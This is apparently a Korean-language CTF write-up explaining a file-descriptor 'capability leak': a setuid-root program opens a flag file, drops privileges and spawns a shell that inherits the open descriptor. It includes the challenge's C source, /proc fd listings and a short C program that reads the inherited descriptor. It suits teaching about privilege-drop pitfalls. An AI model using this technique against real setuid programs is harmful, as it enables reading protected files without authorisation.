what is capability leak ( in fd perspective )
일반적으로 익스프로잇을 할때 셸을 따는 것을 목표로 한다. 근데 셸을 실행할때 setuid의 프로세스에서 셸을 실행하면,
privilege drop이 일어난다.
이때 어떤 추가적인 익스를 할 수 있을까? 그중 하나는 capability leak 이다. 바로 직접적인 셸에 권한을 drop해도 기존 프로세스를 복사하면서 ( fork() , 현재는 posix_spawn ) 남은 리소스 권한이다.
그중 대표적인 fd ( file desciptor )에 대한 capability leak에 대해 알아보자
해당 문제를 기준으로 서술된다.
먼저,
-rwsr-xr-x 1 root root 17320 Dec 24 2021 dreamsanta_present다음과 같은 setuid가 있는 프로그램을 실행하고 내부에서 privilege drop 이 일어나서
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)다음과 같이 ruid 원래 uid를 받게 된다. ( Setuid 프로그램을 실행시켰던 )
root 3 0.0 0.2 2360 1412 ? S 15:24 0:00 ./dreamsanta_present
ctf 11 0.0 0.1 2612 532 ? S 15:25 0:00 sh -c /bin/sh
ctf 12 0.0 0.1 2612 532 ? S 15:25 0:00 /bin/shps 를 봐도 dreamsanta_present 은 root로 실행되고 그 안에서
sh -c /bin/sh 이 커널에 의해 posix_spawn 함수 실행 중에 실행되고 이 이후에,
/bin/sh 이 우리가 사용하는 셸이 된다. 근데 이때 dreamsanta_present 안에서
void show_flag(void)
{
int fd = 0, idx = 0;
char flag[256] = { 0, };
puts("Input index");
printf(">> ");
idx = read_int();
if (idx < 0 || idx > 2) {
puts("I'll let you know next year :p");
return;
}
fd = open("/home/ctf/flag", O_RDONLY);
read(fd, flag, sizeof(flag));
printf("flag[%d] is %c\n", idx, flag[idx]);
memset(flag, 0, sizeof(flag));
return;
}open("/home/ctf/flag", O_RDONLY); 여기서 파일을 열게 되는데
pwd
/proc/12/fd
ls -al
total 0
dr-x------ 2 ctf ctf 0 Aug 22 15:26 .
dr-xr-xr-x 8 ctf ctf 0 Aug 22 15:25 ..
lrwx------ 1 ctf ctf 64 Aug 22 15:26 0 -> socket:[1514]
lrwx------ 1 ctf ctf 64 Aug 22 15:26 1 -> socket:[1514]
lrwx------ 1 ctf ctf 64 Aug 22 15:26 2 -> socket:[1514]
lrwx------ 1 ctf ctf 64 Aug 22 15:26 3 -> socket:[1515]
lrwx------ 1 ctf ctf 64 Aug 22 15:26 4 -> socket:[1516]
l-wx------ 1 ctf ctf 64 Aug 22 15:26 5 -> pipe:[1288]
lr-x------ 1 ctf ctf 64 Aug 22 15:26 6 -> /home/ctf/flag
12번 프로세스의 ( 셸 ) fd들을 보면
lr-x------ 1 ctf ctf 64 Aug 22 15:26 6 -> /home/ctf/flag
놀랍게도 부모의 fd인 /home/ctf/flag 가 있는 것을 알 수 있다.
이것이 capability leak 이다.
당연히 저건 심볼릭링크 파일이므로 저걸 cat해서 열면 안된다. 그럼 새로 open을 하기 때문이다.
우리는 이미 열려있는 fd를 써야 하기 때문에,
#include <unistd.h>
int main(){
char buf[50];
lseek(6, 0, SEEK_SET);
read(6,buf,50);
write(1,buf,50);
return 0;
}
다음과 같은 코드를 써서 실행하거나, 서버가 파이썬이 있으면 파이썬으로 하면 된다.